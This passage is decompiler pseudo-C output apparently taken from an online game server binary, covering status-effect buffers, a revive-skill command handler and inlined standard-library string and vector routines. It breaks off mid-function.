AbnormalStateShelter::AbstateShelter::as_Remove(AbnormalStateShelter::AbstateShelter *this, unsigned int chrregnum) { unsigned int v2; // edi@1 int i; // ebx@1 AbnormalStateShelter::AbstateBuffer *v4; // esi@2 v2 = 0; for ( i = 0; ; ++i ) { v4 = this->as_Safe._Myfirst; if ( !v4 ) break; if ( v2 >= this->as_Safe._Mylast - v4 ) break; if ( v4[i].ab_Master == chrregnum ) v4[i].ab_Master = -1; ++v2; } } //----- (004101D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 unsigned int v5; // eax@1 char v6; // al@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); AbnormalStateShelter::AbstateShelter::as_Remove(&g_AbstateShelter, v5); v6 = *((_BYTE *)v4 + 23281); if ( v6 & 0x20 ) { *((_BYTE *)v4 + 23281) = v6 & 0xDF; ShineObjectClass::ShinePlayer::sp_ReviveNow(v4, 0x3E8u); } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 18, 43, 5382); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD"); } //----- (004102B0) -------------------------------------------------------- void __thiscall AbnormalStateShelter::AbstateBuffer::ab_Recover(AbnormalStateShelter::AbstateBuffer *this, #325 *so) { AbnormalStateShelter::AbstateBuffer *v2; // esi@1 int v3; // ebx@1 unsigned int v4; // edi@1 AbnormalStateContainer::AbstateElementInObject *v5; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateShelter::AbstateBuffer::ab_Recover"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateShelter::AbstateBuffer::ab_Recover"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = 0; while ( 1 ) { v5 = v2->ab_List._Myfirst; if ( !v5 ) break; if ( v4 >= (signed int)((char *)v2->ab_List._Mylast - (char *)v5) / 116 ) break; AbnormalStateContainer::AbstateElementInObject::aeo_Recover( (AbnormalStateContainer::AbstateElementInObject *)((char *)v2->ab_List._Myfirst + v3), so); ++v4; v3 += 116; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateShelter::AbstateBuffer::ab_Recover"); } //----- (00410380) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count) { std::basic_string,std::allocator > *v4; // ebx@1 unsigned int v5; // ebp@3 std::basic_string,std::allocator > *result; // eax@6 unsigned int v7; // eax@9 bool v8; // cf@10 bool v9; // zf@10 char *v10; // edx@13 int v11; // eax@19 void *v12; // edi@20 v4 = this; if ( _Right->_Mysize < _Roff ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v5 = _Right->_Mysize - _Roff; if ( _Count < v5 ) v5 = _Count; if ( this == _Right ) { std::basic_string_std::allocator>::erase(this, _Roff + v5, 0xFFFFFFFFu); std::basic_string_std::allocator>::erase(v4, 0, _Roff); return v4; } if ( v5 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v7 = this->_Myres; if ( v7 >= v5 ) { v8 = 0; v9 = v5 == 0; if ( !v5 ) { this->_Mysize = 0; if ( v7 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } } else { std::basic_string_std::allocator>::_Copy(this, v5, this->_Mysize); v8 = 0; v9 = v5 == 0; } if ( !(v8 | v9) ) { if ( _Right->_Myres < 0x10 ) v10 = (char *)&_Right->_Bx; else v10 = *(char **)&_Right->_Bx._Buf[0]; v11 = (int)&v4->_Bx; if ( v4->_Myres < 0x10 ) v12 = &v4->_Bx; else v12 = *(void **)v11; memcpy(v12, &v10[_Roff], v5); v8 = v4->_Myres < 0x10; v4->_Mysize = v5; if ( !v8 ) v11 = *(_DWORD *)v11; *(_BYTE *)(v11 + v5) = 0; } return v4; } //----- (00410470) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Num) { std::basic_string,std::allocator > *v3; // ebx@1 unsigned int v4; // edx@1 char *v5; // eax@2 char *v6; // eax@5 char *v7; // ecx@6 std::basic_string,std::allocator > *result; // eax@11 unsigned int v9; // eax@14 bool v10; // cf@15 bool v11; // zf@15 void *v12; // edi@18 v3 = this; v4 = this->_Myres; if ( v4 < 0x10 ) v5 = (char *)&this->_Bx; else v5 = *(char **)&this->_Bx._Buf[0]; if ( _Ptr < v5 || ((v6 = (char *)&this->_Bx, v4 < 0x10) ? (v7 = (char *)&this->_Bx) : (v7 = *(char **)v6), &v7[v3->_Mysize] <= _Ptr) ) { if ( _Num > 0xFFFFFFFE ) std::_String_base::_Xlen(&v3->baseclass_0.___u0.baseclass_0); v9 = v3->_Myres; if ( v9 >= _Num ) { v10 = 0; v11 = _Num == 0; if ( !_Num ) { v3->_Mysize = 0; if ( v9 < 0x10 ) { v3->_Bx._Buf[0] = 0; result = v3; } else { **(_BYTE **)&v3->_Bx._Buf[0] = 0; result = v3; } return result; } } else { std::basic_string_std::allocator>::_Copy(v3, _Num, v3->_Mysize); v10 = 0; v11 = _Num == 0; } if ( !(v10 | v11) ) { if ( v3->_Myres < 0x10 ) v12 = &v3->_Bx; else v12 = *(void **)&v3->_Bx._Buf[0]; memcpy(v12, _Ptr, _Num); v10 = v3->_Myres < 0x10; v3->_Mysize = _Num; if ( !v10 ) { *(_BYTE *)(*(_DWORD *)&v3->_Bx._Buf[0] + _Num) = 0; return v3; } v3->_Bx._Buf[_Num] = 0; } result = v3; } else { if ( v4 >= 0x10 ) v6 = *(char **)v6; result = std::basic_string_std::allocator>::assign(v3, v3, _Ptr - v6, _Num); } return result; } //----- (00410560) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ucopy(std::allocator *_Al, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *__formal) { return std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (00410580) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right) { this->_Mysize = 0; this->_Myres = 15; this->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(this, _Right, 0, 0xFFFFFFFFu); } //----- (004105B0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr) { return std::basic_string_std::allocator>::assign(this, _Ptr, strlen(_Ptr)); } //----- (004105E0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last) { AbnormalStateContainer::AbstateElementInObject *i; // esi@1 for ( i = _First; i != _Last; i = (AbnormalStateContainer::AbstateElementInObject *)((char *)i + 116) ) AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(i); } //----- (00410610) -------------------------------------------------------- void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, const char *_Ptr) { this->_Myres = 15; this->_Mysize = 0; this->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(this, _Ptr, strlen(_Ptr)); } //----- (00410650) -------------------------------------------------------- void __thiscall std::logic_error::logic_error(std::logic_error *this, std::basic_string,std::allocator > *_Message) { std::logic_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::logic_error::_vftable_; v2->_Str._Mysize = 0; v2->_Str._Myres = 15; v2->_Str._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&v2->_Str, _Message, 0, 0xFFFFFFFFu); } // 5E86C0: using guessed type int (__thiscall *std__logic_error___vftable_)(void *p, char); //----- (004106B0) -------------------------------------------------------- void *__thiscall std::out_of_range::_vector_deleting_destructor_(std::length_error *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::length_error::_length_error(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004106D0) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 AbnormalStateContainer::AbstateElementInObject *v2; // esi@1 AbnormalStateContainer::AbstateElementInObject *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; v2 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v2 + 116) ) AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00410720) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00410790) -------------------------------------------------------- void __thiscall std::logic_error::logic_error(std::logic_error *this, std::logic_error *__that) { std::logic_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::logic_error::_vftable_; v2->_Str._Myres = 15; v2->_Str._Mysize = 0; v2->_Str._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&v2->_Str, &__that->_Str, 0, 0xFFFFFFFFu); } // 5E86C0: using guessed type int (__thiscall *std__logic_error___vftable_)(void *p, char); //----- (00410800) -------------------------------------------------------- void __thiscall std::length_error::length_error(std::length_error *this, std::length_error *__that) { std::length_error *v2; // esi@1 v2 = this; std::logic_error::logic_error(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::length_error::_vftable_; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00410820) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > (unsigned int)&wholesaver.ws_savestore[360].esc_abstate.buffer[21076] ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(116 * _Capacity); v2->_Myend = (AbnormalStateContainer::AbstateElementInObject *)((char *)v4 + 116 * _Capacity); v2->_Myfirst = (AbnormalStateContainer::AbstateElementInObject *)v4; v2->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v4; result = 1; } else { result = 0; } return result; } //----- (00410870) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { AbnormalStateContainer::AbstateElementInObject *v2; // eax@1 std::vector > *v3; // esi@1 AbnormalStateContainer::AbstateElementInObject *v4; // ecx@1 int v5; // edi@2 signed int v6; // edx@3 unsigned int v7; // edi@7 void *v8; // eax@7 AbnormalStateContainer::AbstateElementInObject *v9; // ecx@7 AbnormalStateContainer::AbstateElementInObject *v10; // ST00_4@7 int v11; // [sp-Ch] [bp-20h]@1 std::vector > *thisa; // [sp+0h] [bp-14h]@1 int *v13; // [sp+4h] [bp-10h]@1 int v14; // [sp+10h] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v4 = 0; v13 = &v11; thisa = v3; if ( v2 ) { v6 = (signed int)((char *)_Right->_Mylast + (unsigned int)(((unsigned __int64)(-1925330167i64 * (unsigned int)((char *)_Right->_Mylast - (char *)v2)) >> 32) - (unsigned int)v2)) >> 6; v5 = v6 + ((unsigned int)v6 >> 31); v4 = 0; } else { v5 = 0; } v3->_Myfirst = v4; v3->_Mylast = v4; v3->_Myend = v4; if ( (AbnormalStateContainer::AbstateElementInObject *)v5 != v4 ) { if ( v5 > (unsigned int)&wholesaver.ws_savestore[360].esc_abstate.buffer[21076] ) std::vector>::_Xlen((std::vector > *)v3); v7 = 116 * v5; v8 = operator new(v7); v3->_Myfirst = (AbnormalStateContainer::AbstateElementInObject *)v8; v3->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v8; v3->_Myend = (AbnormalStateContainer::AbstateElementInObject *)((char *)v8 + v7); v9 = _Right->_Mylast; v10 = _Right->_Myfirst; v14 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v10, v9, (AbnormalStateContainer::AbstateElementInObject *)v8, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00410940) -------------------------------------------------------- void *__thiscall std::vector>::operator_(void *_Al, int __formal) { void *v2; // esi@1 int v3; // eax@2 signed int v4; // edx@3 int v5; // ecx@3 void *result; // eax@4 AbnormalStateContainer::AbstateElementInObject *v7; // ebx@5 int v8; // eax@6 AbnormalStateContainer::AbstateElementInObject *v9; // eax@9 int v10; // eax@9 int v11; // eax@13 AbnormalStateContainer::AbstateElementInObject *v12; // edi@16 unsigned int v13; // eax@19 v2 = _Al; if ( _Al == (void *)__formal ) return v2; v3 = *(_DWORD *)(__formal + 4); if ( !v3 || (v4 = (signed int)(*(_DWORD *)(__formal + 8) - v3 + ((unsigned __int64)(-1925330167i64 * (*(_DWORD *)(__formal + 8) - v3)) >> 32)) >> 6, (v5 = v4 + ((unsigned int)v4 >> 31)) == 0) ) { std::vector>::_Tidy((std::vector > *)v2); return v2; } v7 = (AbnormalStateContainer::AbstateElementInObject *)*((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - (signed int)v7) / 116; else v8 = 0; if ( v5 > (unsigned int)v8 ) { if ( v7 ) v11 = (*((_DWORD *)v2 + 3) - (signed int)v7) / 116; else v11 = 0; if ( v5 <= (unsigned int)v11 ) { v12 = (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)(__formal + 4) + 116 * std::vector>::size((std::vector > *)v2)); std::copy( *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 4), v12, v7); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v12, *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 8), *((AbnormalStateContainer::AbstateElementInObject **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v7 ) { std::vector>::_Destroy( (std::vector > *)v2, v7, *((AbnormalStateContainer::AbstateElementInObject **)v2 + 2)); operator delete(*((void **)v2 + 1)); } v13 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v13) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 4), *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 8), *((AbnormalStateContainer::AbstateElementInObject **)v2 + 1)); return v2; } v9 = std::copy( *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 4), *(AbnormalStateContainer::AbstateElementInObject **)(__formal + 8), v7); std::vector>::_Destroy( (std::vector > *)v2, v9, *((AbnormalStateContainer::AbstateElementInObject **)v2 + 2)); v10 = *(_DWORD *)(__formal + 4); if ( v10 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 116 * (*(_DWORD *)(__formal + 8) - v10) / 116; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } //----- (00410AC0) -------------------------------------------------------- void __thiscall AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(AbnormalStateShelter::AbstateBuffer *this) { std::vector>::_Tidy(&this->ab_List); } //----- (00410AD0) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__cdecl std::_Copy_backward_opt(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateShelter::AbstateBuffer *v4; // esi@1 AbnormalStateShelter::AbstateBuffer *v5; // edi@2 unsigned int v6; // eax@3 AbnormalStateShelter::AbstateBuffer *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].ab_Master; --v4; --v5; v5->ab_Master = v6; std::vector>::operator_( &v5->ab_List, (int)&v4->ab_List); } while ( v4 != _First ); result = v5; } return result; } //----- (00410B10) -------------------------------------------------------- void __cdecl std::fill(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Val) { AbnormalStateShelter::AbstateBuffer *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->ab_Master = _Val->ab_Master; std::vector>::operator_( &i->ab_List, (int)&_Val->ab_List); } } //----- (00410B40) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__cdecl std::_Uninit_copy>(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateShelter::AbstateBuffer *v5; // esi@1 AbnormalStateShelter::AbstateBuffer *v6; // edi@1 int v8; // [sp-Ch] [bp-20h]@1 AbnormalStateShelter::AbstateBuffer *_Next; // [sp+0h] [bp-14h]@1 int *v10; // [sp+4h] [bp-10h]@1 int v11; // [sp+10h] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->ab_Master = v6->ab_Master; std::vector>::vector>( &v5->ab_List, &v6->ab_List); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00410BE0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(AbnormalStateShelter::AbstateBuffer *_First, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { AbnormalStateShelter::AbstateBuffer *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp-Ch] [bp-20h]@1 AbnormalStateShelter::AbstateBuffer *_Next; // [sp+0h] [bp-14h]@1 int *v9; // [sp+4h] [bp-10h]@1 int v10; // [sp+10h] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->ab_Master = _Val->ab_Master; std::vector>::vector>( &v5->ab_List, &_Val->ab_List); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (00410C80) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Ptr, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00410CB0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last) { AbnormalStateShelter::AbstateBuffer *i; // esi@1 for ( i = _First; i != _Last; ++i ) AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(i); } //----- (00410CE0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 AbnormalStateShelter::AbstateBuffer *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 AbnormalStateShelter::AbstateBuffer *v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 AbnormalStateShelter::AbstateBuffer *v19; // eax@23 AbnormalStateShelter::AbstateBuffer *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 AbnormalStateShelter::AbstateBuffer *v22; // ecx@27 AbnormalStateShelter::AbstateBuffer *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp-Ch] [bp-38h]@1 AbnormalStateShelter::AbstateBuffer _Tmp; // [sp+0h] [bp-2Ch]@1 void *_Newvec; // [sp+14h] [bp-18h]@21 std::vector > *thisa; // [sp+18h] [bp-14h]@1 int *v29; // [sp+1Ch] [bp-10h]@1 int v30; // [sp+28h] [bp-4h]@1 AbnormalStateShelter::AbstateBuffer *_Wherea; // [sp+34h] [bp+8h]@28 AbnormalStateShelter::AbstateBuffer *_Ptr; // [sp+38h] [bp+Ch]@21 int _Vala; // [sp+3Ch] [bp+10h]@21 AbnormalStateShelter::AbstateBuffer *_Valb; // [sp+3Ch] [bp+10h]@26 v4 = this; v5 = _Val->ab_Master; v29 = &v25; _Tmp.ab_Master = v5; thisa = v4; std::vector>::vector>( &_Tmp.ab_List, &_Val->ab_List); v6 = v4->_Myfirst; v7 = 0; v30 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( 214748364 - v10 < _Count ) std::vector>::_Xlen(v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 20 * _Count)); std::_Copy_backward_opt( *(AbnormalStateShelter::AbstateBuffer **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(AbnormalStateShelter::AbstateBuffer **)&v21, (AbnormalStateShelter::AbstateBuffer *)(*(_DWORD *)&v21 + 20 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(AbnormalStateShelter::AbstateBuffer **)&_Where, v20, (AbnormalStateShelter::AbstateBuffer *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v30) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, &_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (AbnormalStateShelter::AbstateBuffer *)v24; v30 = 0; std::fill( *(AbnormalStateShelter::AbstateBuffer **)&_Where, (AbnormalStateShelter::AbstateBuffer *)(v24 - 20 * _Count), &_Tmp); } } else { if ( 214748364 - (v7 >> 1) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size(v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = v4->_Myfirst; _Newvec = v14; LOBYTE(v30) = 1; _Ptr = std::_Uninit_copy>( v16, *(AbnormalStateShelter::AbstateBuffer **)&_Where, (AbnormalStateShelter::AbstateBuffer *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(AbnormalStateShelter::AbstateBuffer **)&_Where, v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; v30 = 0; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( v4, v19, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (AbnormalStateShelter::AbstateBuffer *)((char *)v15 + _Vala); v4->_Mylast = (AbnormalStateShelter::AbstateBuffer *)((char *)v15 + 20 * v18); v4->_Myfirst = (AbnormalStateShelter::AbstateBuffer *)v15; } } v30 = -1; std::vector>::_Tidy(&_Tmp.ab_List); } //----- (00410FF0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateShelter::AbstateBuffer *_Val) { std::vector > *v4; // edi@1 AbnormalStateShelter::AbstateBuffer *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00411060) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 AbnormalStateShelter::AbstateBuffer *v2; // esi@1 AbnormalStateShelter::AbstateBuffer *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (004110B0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Val) { std::vector > *v2; // esi@1 AbnormalStateShelter::AbstateBuffer *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 AbnormalStateShelter::AbstateBuffer *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00411150) -------------------------------------------------------- AbnormalStateShelter::AbstateBuffer *__thiscall AbnormalStateShelter::AbstateShelter::operator__(AbnormalStateShelter::AbstateShelter *this, unsigned int regnum) { AbnormalStateShelter::AbstateShelter *v2; // esi@1 AbnormalStateShelter::AbstateBuffer *v3; // ecx@1 int v4; // ebx@1 unsigned int v5; // edi@1 int v6; // esi@6 unsigned int v7; // edi@7 int v8; // ebx@7 AbnormalStateShelter::AbstateBuffer *v9; // ecx@13 int v10; // eax@14 AbnormalStateShelter::AbstateBuffer tmp; // [sp+4h] [bp-20h]@13 int v13; // [sp+20h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateShelter::AbstateShelter::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateShelter::AbstateShelter::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->as_Safe._Myfirst; v4 = 0; v13 = 0; v5 = 